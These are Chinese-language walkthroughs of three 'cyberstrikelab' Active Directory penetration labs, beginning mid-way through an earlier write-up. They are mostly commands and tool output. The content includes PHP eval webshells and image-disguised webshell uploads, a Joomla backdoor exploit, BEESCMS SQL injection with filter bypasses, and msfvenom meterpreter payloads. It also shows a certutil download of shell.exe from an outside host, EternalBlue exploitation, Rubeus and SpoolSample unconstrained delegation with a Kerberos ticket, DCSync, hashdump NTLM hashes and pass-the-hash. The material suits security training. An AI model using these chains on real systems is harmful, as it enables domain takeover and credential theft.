"(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn # 使用Rubeus监听来自域控的票据 Rubeus.exe monitor /interval:2 /filteruser:DC$ 利用打印机漏洞（SpoolSample）或类似攻击让域控主动连接非约束委派机器，从而生成并发送Kerberos票据给攻击者控制机器。# 强制回连，获得域控机器账户的TGT shell SpoolSample.exe DC CYBERWEB # rubeus导入票据 Rubeus.exe ptt /ticket:doIFtDCCBbCgAwIBBaEDAgEWooIErDCCBKhhggSkMIIEoKADAgEFoRQbEkNZQkVSU1RSSUtFTEFCLkNPTAInMCWgAwIBAqEeMBwbBmtyYnRndBsSQ1lCRVJTVFJJS0VMQUIuQ09No4IEWDCCBFSgAwIBEqEDAgECooIERgSCBELeAgo8gfc1sOmVFHxh23jlld/MeJN/NEYNWOVmXG7H6J6jeQH/ux0qR9NhB8XEHpISi/k+m+d3MgVV9I97HPHPGpxMwwPwn283E5+JQBdhYK/Vq7eQhQScpw0+uojOX8Clvw/YjIv8V1G1Kqxyj+EbWm07KVjefQHMeuclOII27ZclrWuVxNQ1GI2GV+nLVrRMgGlKmh9FTnLKacg3lGZutWuUS1pU3OWc7Q0wClL6MeczUq378IMB3G4Vv3cAR8mY/niULKswPfzVbe6oeuvAIOpHHV6qoB631NiF48twHG78uZ+ExiVIU9p1juR7IL053H0LOSRTV/behPNz8c/mhcxCWDfXVEAn1gbibwUvrBSCiNP6hp234Qa4pbEB8PTlxXc0QYxQVF8VC+btIxx93APc+/W6wBzxPr65IIqlhlbV1NdUCIF2SGqliyHUdOIRF9llx52RaTsYhzX4D5Hsqoh8YLIs52q7o9gy6yyJi69qADD4jpmvC6exzl0l40qd+csY8vfb2Ojm5fwgNn1oDLWRxjPriEGQNSFIxBuDF4BD3lzWcQFbTsuBYl0a7NBXeFHFWwnDRoQrdO6UHSDcpJt0WRvo+8S+sr14PvTITr6BWeKafeBy/Ve+iovAFCZo7DbAUISpPxYdpIjUzIpfm7ZMLT015MGNYB16PhNvUL3tfavikHed87lgfvTs429bSOcYP1U1YnT8/z2TrIMuuKpvjyNq9cZmZeLsS9SnNCwiFartRSephd587X5ERqsg0AI/i87lWJCBCQ15a9LapH5vxYvnkHljhvT3/5Vo9RYfGiJbdEtxG1vR17LsGCV05ROpf8L0Fa0CdWXB84MSzXjoIySIRV9zAvvcsTfu+r6oTT7QL9ciG8FvaHY2Gtf32FlFOfVLdoy1B63d0nYoKoZmm09ImIFFjKV0871uhQ3po3nu1vVvJkiRHM7hVwhK9h9aHTtYahuig1z6oxqYVMsubnYlrUKIPKe6O/qTBSaJoH03cXnWYUxrObv5A5ekiIG6zuHsqmGaDXWZV/5SfB4DaztwJZHzvYwuCYsSR6IV2vWW4st9ONoWkzg08XXjvVoEqfqlpTs2WjxAPaK1kY8oIp7SHJ7DVovFnkf7puFHGbJ/wBCpdR61Pl1qj/ntuv1OVdRRb71DfTZHjmV4rXISZ3cjwAJTgKqlIUzzrkiTsmTrtk92z3eIfm9EE4NqkOJWmxd9sXhC58W4CVFnZXZ7A4BqiBctRX/ZMXLcz++55SqSLTg8Xbm01EXTVnQHU6XTdOPs+4ZRrXEo+r8I+hT0aQegwcDCCt1WseFh92ut06Y1zfyNcxcffBZPB3UA0Te49BxN493RdwbUw4RIObPUoucAW4r7i0p6Nk0MxXt+nnYHuKesYu+GhOStENyVjmbIcSLqd4cJNrBAX3cNZmCtSFGSuKahub4Lb7k0WoRZo4HzMIHwoAMCAQCigegEgeV9geIwgd+ggdwwgdkwgdagKzApoAMCARKhIgQgo+1mN3aSVBbGT0Sp9kwHxXFCpO+xUDGciGtbd189KomhFBsSQ1lCRVJTVFJJS0VMQUIuQ09NohAwDqADAgEBoQcwBRsDREMkowcDBQBgoQAApREYDzIwMjUwNTI1MDUwNDQwWqYRGA8yMDI1MDUyNTE1MDQ0MFqnERgPMjAyNTA2MDEwNTA0NDBaqBQbEkNZQkVSU1RSSUtFTEFCLkNPTaknMCWgAwIBAqEeMBwbBmtyYnRndBsSQ1lCRVJTVFJJS0VMQUIuQ09N # mimikatz导出域内用户Hash mimikatz.exe "lsadump::dcsync /domAIn:cyberstrikelab.com /user:cyberstrikelab\Administrator" "exit" # PTH proxychAIns impacket-psexec -hashes :9d880175be3fc0e75ebb9686f482cfa5 cyberstrike.com/administrator@10.5.5.66 相关解释AdFind.exe这是一款免费的命令行工具，用于在AD域中执行查询域内信息，AD对象，LDAP协议交互情况，域内权限分析，以及域环境侦察，例如# 查询域中所有用户 AdFind.exe -f "(objectcategory=person)" dn # 查询不要求Kerberos预身份认证的用户(用于安全审计) AdFind.exe -b "dc=example,dc=com" -f "(&(samaccounttype=805306369)(useraccountcontrol:1.2.840.113556.1.4.803:=4194304))" # 获取域控制器信息 AdFind.exe -d domAIn.com -u username -p password -b "dc=domAIn,dc=com" -s base objectClass 详细的使用可以参考官方手册，百度一下，你就知道

【域渗透】cyberstrikelab-lab7 cyberstrikelab-lab7web渗透9652端口八哥CMSPS C:\Users\xt350> fscan.exe -h 192.168.10.10 -p 1-65000 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.4 start infoscan 192.168.10.10:139 open 192.168.10.10:135 open 192.168.10.10:445 open 192.168.10.10:3306 open 192.168.10.10:5040 open 192.168.10.10:7680 open 192.168.10.10:9652 open 192.168.10.10:49664 open 192.168.10.10:49666 open 192.168.10.10:49665 open 192.168.10.10:49669 open 192.168.10.10:49668 open 192.168.10.10:49667 open 192.168.10.10:49670 open [*] alive ports len is: 14 start vulscan [*] WebTitle http://192.168.10.10:9652 code:200 len:14625 title:网站标题-网站标题 - Powered By BageCMS 已完成 14/14 [*] 扫描结束,耗时: 4m16.0065058s http://192.168.10.10:9652/install.txt这个地址泄露了后台管理地址，使用admin / admin123456弱口令登录后台，发现cms版本为 BageCMS3.1.0修改网站首页源码<?php @eval($_POST['a']);?> 生成msf马，执行，监听上线msfvenom -p windows/meterpreter/bind_tcp LHOST=10.10.10.173 LPORT=4444 -f exe -o shell.exe msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/bind_tcp; set RHOST 192.168.10.10; set LPORT 4444; exploit -j -z" 内网渗透C:\phpstudy_pro\WWW>ipconfig ipconfig Windows IP Configuration Ethernet adapter ��̫��ʵ�� 0: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::8c17:fbcc:901f:c897%6 IPv4 Address. . . . . . . . . . . : 192.168.10.10 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.10.233 Ethernet adapter ��̫��ʵ�� 2: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::fd48:8021:9701:9c1d%14 IPv4 Address. . . . . . . . . . . : 192.168.20.10 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.20.1 C:\phpstudy_pro\WWW>fscan.exe -h 192.168.20.10/24 fscan.exe -h 192.168.20.10/24 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.1 start infoscan (icmp) Target 192.168.20.10 is alive (icmp) Target 192.168.20.20 is alive (icmp) Target 192.168.20.40 is alive [*] Icmp alive hosts len is: 3 192.168.20.20:445 open 192.168.20.10:445 open 192.168.20.10:7680 open 192.168.20.40:88 open 192.168.20.20:3306 open 192.168.20.10:3306 open 192.168.20.40:445 open 192.168.20.40:139 open 192.168.20.20:139 open 192.168.20.10:139 open 192.168.20.40:135 open 192.168.20.20:135 open 192.168.20.10:135 open [*] alive ports len is: 13 start vulscan [+] NetInfo: [*]192.168.20.40 [->]WIN-137FCI4D99A [->]192.168.20.40 [+] NetInfo: [*]192.168.20.20 [->]cyberweb [->]192.168.20.20 [+] 192.168.20.40 MS17-010 (Windows Server 2016 Standard 14393) [*] 192.168.20.40 [+]DC cyberstrikelab\WIN-137FCI4D99A Windows Server 2016 Standard 14393 [*] 192.168.20.20 cyberstrikelab\CYBERWEB Windows Server 2012 R2 Standard 9600 已完成 13/13 [*] 扫描结束,耗时: 14.733617s 域控主机为20.40，存在永恒之蓝漏洞，使用msf命令执行，获取第二个flaguse admin/smb/ms17_010_command set command type c:\\flag.txt set rhosts 192.168.20.40 run 配置路由run post/multi/manage/autoroute 使用代理use auxiliary/server/socks_proxy set VERSION 5 set SRVPORT 1080 run -j 本机使用proxifier代理到kali msf的ip地址和端口开启本地资源共享远程连接传入msf正向马msf设置好配置，准备上线利用永恒之蓝执行木马（我们远程登录的是普通用户，不是系统权限，抓取不了hash），需要利用永恒之蓝来执行木马msf auxiliary(admin/smb/ms17_010_command) > set command C:\\Users\\xiaoyu\\Desktop\\shell.exe command => C:\Users\xiaoyu\Desktop\shell.exe msf auxiliary(admin/smb/ms17_010_command) > run [*] 192.168.20.40:445 - Target OS: Windows Server 2016 Standard 14393 [*] 192.168.20.40:445 - Built a write-what-where primitive... [+] 192.168.20.40:445 - Overwrite complete... SYSTEM session obtained! [+] 192.168.20.40:445 - Service start timed out, OK if running a command or non-service executable... [*] 192.168.20.40:445 - Getting the command output... [*] 192.168.20.40:445 - Command finished with no output [*] 192.168.20.40:445 - Executing cleanup... [+] 192.168.20.40:445 - Cleanup was successful [+] 192.168.20.40:445 - Command completed successfully! [*] 192.168.20.40:445 - Output for "C:\Users\xiaoyu\Desktop\shell.exe": [*] 192.168.20.40:445 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed 因为使用的是正向连接，执行之后再来连接shellmsf auxiliary(admin/smb/ms17_010_command) > use exploit/multi/handler [*] Using configured payload windows/meterpreter/bind_tcp msf exploit(multi/handler) > show options Payload options (windows/meterpreter/bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LPORT 4444 yes The listen port RHOST 192.168.20.40 no The target address Exploit target: Id Name -- ---- 0 Wildcard Target View the full module info with the info, or info -d command. msf exploit(multi/handler) > run -j [*] Exploit running as background job 5. [*] Exploit completed, but no session was created. [*] Started bind TCP handler against 192.168.20.40:4444 msf exploit(multi/handler) > [*] Sending stage (177734 bytes) to 192.168.20.40 [*] Meterpreter session 4 opened (192.168.20.10:50929 -> 192.168.20.40:4444 via session 3) at 2025-12-11 02:21:05 -0500 msf exploit(multi/handler) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 3 meterpreter x86/windows NT AUTHORITY\SYSTEM @ DESKTOP-JFB 10.10.10.173:36245 -> 192.168.10.1 57A8 0:4444 (192.168.10.10) 4 meterpreter x86/windows NT AUTHORITY\SYSTEM @ WIN-137FCI4 192.168.20.10:50929 -> 192.168.20. D99A 40:4444 via session 3 (192.168.20. 40) msf exploit(multi/handler) > sessions 4 [*] Starting interaction with 4... meterpreter > getuid Server username: NT AUTHORITY\SYSTEM 利用msf的hashdump，获取域控主机的管理员hashmeterpreter > hashdump Administrator:500:aad3b435b51404eeaad3b435b51404ee:d8174fc8c5ee7a8e460df2e61d00bd3c::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f230bc7afd28cc6d52aab59e6e31fd6a::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: cyberweb:1106:aad3b435b51404eeaad3b435b51404ee:214352b7762ea8894f78edcbf5748a05::: xiaoyu:1107:aad3b435b51404eeaad3b435b51404ee:73f5d97549f033374fa6d9f9ce247ffd::: WIN-137FCI4D99A$:1000:aad3b435b51404eeaad3b435b51404ee:44ec20bd68d4e22d3428a97d15f441dd::: CYBERWEB$:1103:aad3b435b51404eeaad3b435b51404ee:664117f18ce890f00499a80e2fb92904::: PTH 20，拿下最后一台机器proxychains impacket-psexec -hashes :d8174fc8c5ee7a8e460df2e61d00bd3c cyberstrikelab.com/Administrator@192.168.20.20  

【域渗透】cyberstrikelab-lab6 cyberstrikelab-lab6第一台目录扫描到administrator后台地址apt install joomscan joomscan -u http://192.168.10.10/ # 扫出结果Joomla版本3.4.6 [+] Detecting Joomla Version [++] Joomla 3.4.6 exp获取searchsploit Joomla 3.4.6 searchsploit -m 47524 使用┌──(root㉿kali)-[/data/demo] └─# python 47465.py -t http://192.168.10.10/ -e [*] Getting Session Cookie .. [*] Getting CSRF Token .. [*] Sending request .. [+] Vulnerable [*] Getting Session Cookie .. [*] Getting CSRF Token .. [*] Sending request .. [+] Backdoor implanted, eval your code at http://192.168.10.10//configuration.php in a POST with khacpsczesvgcaeqwadfazwmljdlcqqrkqezpuyedrwcsfjqqm [*] Now it's time to reverse, trying with a system + perl 得到密码khacpsczesvgcaeqwadfazwmljdlcqqrkqezpuyedrwcsfjqqm蚁剑连接生成马，蚁剑上传msfvenom -p windows/meterpreter/bind_tcp LHOST=10.10.10.173 LPORT=4444 -f exe -o shell.exe kalimsfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/bind_tcp; set RHOST 192.168.10.10; set LPORT 4444; exploit -j -z" 获取正向shell，蚁剑执行exeshell.exe 得到第一台机器shell这台机器没有第二章网卡C:\WWW>ipconfig ipconfig Windows IP Configuration Ethernet adapter ��̫��ʵ�� 0: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::71b1:e5e:d78d:3036%7 IPv4 Address. . . . . . . . . . . : 192.168.10.10 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.10.233 Tunnel adapter isatap.{99805FC6-03F4-4415-8F77-D4C935988DCA}: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : C:\WWW>fscan.exe -h 192.168.10.10/24 fscan.exe -h 192.168.10.10/24 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.1 start infoscan (icmp) Target 192.168.10.10 is alive (icmp) Target 192.168.10.20 is alive (icmp) Target 192.168.10.233 is alive [*] Icmp alive hosts len is: 3 192.168.10.233:8080 open 192.168.10.20:7001 open 192.168.10.10:3306 open 192.168.10.20:445 open 192.168.10.10:445 open 192.168.10.20:139 open 192.168.10.10:139 open 192.168.10.20:135 open 192.168.10.10:135 open 192.168.10.10:80 open 192.168.10.233:22 open [*] alive ports len is: 11 start vulscan [+] NetInfo: [*]192.168.10.10 [->]WIN-P5ECGG92B08 [->]192.168.10.10 [*] 192.168.10.20 cyberstrikelab\CYBERWEB Windows Server 2012 R2 Standard 9600 [*] WebTitle:https://192.168.10.233:8080 code:404 len:19 title:None [*] WebTitle:http://192.168.10.10 code:200 len:6060 title:Home [*] WebTitle:http://192.168.10.20:7001 code:404 len:1164 title:Error 404--Not Found [+] InfoScan:http://192.168.10.20:7001 [weblogic] 已完成 10/11 [-] ssh 192.168.10.233:22 root qwe123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 已完成 10/11 [-] ssh 192.168.10.233:22 root system ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 已完成 10/11 [-] ssh 192.168.10.233:22 admin admin#123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 已完成 10/11 [-] ssh 192.168.10.233:22 admin a123456 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 已完成 11/11 [*] 扫描结束,耗时: 4m39.975774s 第二台fscan扫描出来的192.168.10.20:7001 weblogic第二个flag第三台传马上线msf，msf注意修改ip，因为我们是正向连接certutil -urlcache -split -f http://172.16.233.2:8000/shell.exe shell.exe 上传fscanupload /data/CS/Cobalt_Strike_4.7/plugin/TaoWu/script/x64/fscan.exe 发现另外一张网卡C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain>ipconfig ipconfig Windows IP Configuration Ethernet adapter ��̫�� 3: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::e9e1:6372:ae05:ecf0%17 IPv4 Address. . . . . . . . . . . : 192.168.10.20 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.10.233 Ethernet adapter ��̫��ʵ�� 0: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::3d2f:f957:5cf8:220f%16 IPv4 Address. . . . . . . . . . . : 192.168.20.20 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.20.1 Tunnel adapter isatap.{1342B97A-CC27-446C-9089-7A3F3210BB09}: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : Tunnel adapter isatap.{56056A50-6E34-40E7-805D-8B35838D77D9}: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : 扫另外一张网卡，发现第三台主机30C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain>fscan.exe -h 192.168.20.20 fscan.exe -h 192.168.20.20 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.1 start infoscan (icmp) Target 192.168.20.20 is alive [*] Icmp alive hosts len is: 1 192.168.20.20:7001 open 192.168.20.20:445 open 192.168.20.20:139 open 192.168.20.20:135 open [*] alive ports len is: 4 start vulscan [*] 192.168.20.20 cyberstrikelab\CYBERWEB Windows Server 2012 R2 Standard 9600 [*] WebTitle:http://192.168.20.20:7001 code:404 len:1164 title:Error 404--Not Found [+] InfoScan:http://192.168.20.20:7001 [weblogic] [+] http://192.168.20.20:7001 poc-yaml-weblogic-cve-2019-2725 v12 已完成 4/4 [*] 扫描结束,耗时: 9.7411266s C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain>fscan.exe -h 192.168.20.20/24 fscan.exe -h 192.168.20.20/24 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.1 start infoscan (icmp) Target 192.168.20.20 is alive (icmp) Target 192.168.20.30 is alive [*] Icmp alive hosts len is: 2 192.168.20.30:88 open 192.168.20.20:7001 open 192.168.20.30:445 open 192.168.20.20:445 open 192.168.20.30:139 open 192.168.20.20:139 open 192.168.20.30:135 open 192.168.20.20:135 open 192.168.20.30:80 open [*] alive ports len is: 9 start vulscan [*] 192.168.20.20 cyberstrikelab\CYBERWEB Windows Server 2012 R2 Standard 9600 [+] NetInfo: [*]192.168.20.30 [->]WIN-9DJ4TH21IE9 [->]192.168.20.30 [+] 192.168.20.30 MS17-010 (Windows Server 2016 Standard 14393) [*] 192.168.20.30 [+]DC cyberstrikelab\WIN-9DJ4TH21IE9 Windows Server 2016 Standard 14393 [*] WebTitle:http://192.168.20.30 code:200 len:703 title:IIS Windows Server [+] http://192.168.20.30 poc-yaml-active-directory-certsrv-detect [*] WebTitle:http://192.168.20.20:7001 code:404 len:1164 title:Error 404--Not Found [+] InfoScan:http://192.168.20.20:7001 [weblogic] [+] http://192.168.20.20:7001 poc-yaml-weblogic-cve-2020-14750 [+] http://192.168.20.20:7001 poc-yaml-weblogic-cve-2019-2725 v12 已完成 9/9 [*] 扫描结束,耗时: 17.9561302s 发现ms17-010漏洞，使用命令执行得到最后一个flaggo-flag{kqqjRIRRoiJO5JIm} 

【域渗透】cyberstrikelab-lab5 cyberstrikelab-lab5web渗透BEESCMS1、后台发现验证码复用漏洞，后台账号密码可以爆破2、后台sql注入漏洞admin' order by 5--+ # and 被过滤 admin' and updatexml(1,concat(0x7e,select database(),0x7e),1)--+ # 去掉前面的空格 admin'and updatexml(1,concat(0x7e,select database(),0x7e),1)--+ # 报错信息如下，数据库名beescms 操作数据库失败XPATH syntax error: '~，beescms~'<br>sql:select id,admin_name,admin_password,admin_purview,is_disable from bees_admin where admin_name='admin'and updatexml(1,concat(0x7e, database(),0x7e),1)-- ' limit 0,1 # 其他双写绕过 union => uni union on select => selselectect from => fr from om where => wh where ere # 列1 admin_name admin'a and nd updatexml(1,concat(0x7e,(seselectlect column_name fr from om information_schema.columns wh where ere table_name like 'bees_admin' limit 1,1),0x7e),1)# # 列2 admin_password admin'a and nd updatexml(1,concat(0x7e,(seselectlect column_name fr from om information_schema.columns wh where ere table_name like 'bees_admin' limit 2,1),0x7e),1)# # 字段1 admin admin'a and nd updatexml(1,concat(0x7e,(seselectlect admin_name fr from om beescms.bees_admin limit 0,1),0x7e),1)# # 字段2 7e60bc642fefc11b43792e8745df6c1 // cmd5.com 解密 cyber admin'a and nd updatexml(1,concat(0x7e,(seselectlect admin_password fr from om beescms.bees_admin limit 0,1),0x7e),1)# 密码cyber，登录，版本就是4.0准备一个图片马，shell.jpg，抓包修改shell.php<?php @eval($_POST['shell']); ?> 在上传图片管理界面，查看网页源码，找到新上传图片的html标签能看到php文件路径，然后蚁剑连接http://192.168.10.10:6582/upload/img/202512101423498303.php 内网渗透msfvenom -p windows/meterpreter/bind_tcp LHOST=10.10.10.173 LPORT=4444 -f exe -o shell.exe msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/bind_tcp; set RHOST 192.168.10.10; set LPORT 4444; exploit -j -z" upload /data/CS/Cobalt_Strike_4.7/plugin/TaoWu/script/x64/fscan.exe upload /data/windows_atk/mimikatz/x64/x64/mimikatz.exe fscan扫内网，在20.20的8080端口，有一个Jboss内容管理系统C:\phpstudy_pro\WWW\upload\img>ipconfig ipconfig Windows IP Configuration Ethernet adapter ��̫��ʵ�� 0: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::d4eb:d150:7852:d93f%8 IPv4 Address. . . . . . . . . . . : 192.168.10.10 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.10.233 Ethernet adapter ��̫��ʵ�� 0 2: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::f90f:239c:ae8a:42db%15 IPv4 Address. . . . . . . . . . . : 192.168.20.10 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.20.1 C:\phpstudy_pro\WWW\upload\img>fscan.exe -h 192.168.20.0/24 fscan.exe -h 192.168.20.0/24 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.1 start infoscan (icmp) Target 192.168.20.10 is alive (icmp) Target 192.168.20.20 is alive (icmp) Target 192.168.20.30 is alive [*] Icmp alive hosts len is: 3 192.168.20.10:445 open 192.168.20.20:139 open 192.168.20.20:135 open 192.168.20.30:88 open 192.168.20.20:8080 open 192.168.20.10:3306 open 192.168.20.30:445 open 192.168.20.20:445 open 192.168.20.30:139 open 192.168.20.10:139 open 192.168.20.30:135 open 192.168.20.10:135 open 192.168.20.20:8009 open 192.168.20.10:7680 open [*] alive ports len is: 14 start vulscan [+] NetInfo: [*]192.168.20.20 [->]cyberweb [->]192.168.20.20 [+] NetInfo: [*]192.168.20.30 [->]WIN-7NRTJO59O7N [->]192.168.20.30 [*] 192.168.20.30 [+]DC __MSBROWSE__\WIN-7NRTJO59O7N [*] 192.168.20.20 cyberstrikelab\CYBERWEB Windows Server 2012 R2 Standard 9600 [*] WebTitle:http://192.168.20.20:8080 code:200 len:1554 title:Welcome to JBoss AS [+] InfoScan:http://192.168.20.20:8080 [Jboss] 已完成 14/14 [*] 扫描结束,耗时: 18.7052044s 设置路由，配置代理meterpreter > run post/multi/manage/autoroute [*] Running module against DESKTOP-JFB57A8 (192.168.10.10) [*] Searching for subnets to autoroute. [+] Route added to subnet 192.168.10.0/255.255.255.0 from host's routing table. [+] Route added to subnet 192.168.20.0/255.255.255.0 from host's routing table. meterpreter > bg [*] Backgrounding session 1... msf exploit(multi/handler) > use auxiliary/server/socks_proxy msf auxiliary(server/socks_proxy) > set VERSION 5 VERSION => 5 msf auxiliary(server/socks_proxy) > set SRVPORT 1080 SRVPORT => 1080 msf auxiliary(server/socks_proxy) > run -j [*] Auxiliary module running as background job 1. [*] Starting the SOCKS proxy server 设置proxychains4配置文件，代理到msf┌──(root㉿kali)-[/data/demo] └─# tail /etc/proxychains4.conf # socks4 192.168.1.49 1080 # http 192.168.39.93 8080 # rted: "basic"-http "user/pass"-socks ) # [ProxyList] # add proxy here ... # meanwile # defaults set to "tor" socks5 127.0.0.1 1080 获取到对方内网的 Jboss cms这个可以利用jboss综合利用工具，获取到第二个flag第三台，永恒之蓝命令执行，反弹shell和其他的都不行use auxiliary/admin/smb/ms17_010_command set RHOSTS 192.168.20.30 set COMMAND type C:\\flag.txt run 最后得到flaggo-flag{Cfg8hlBj4dXppo5j}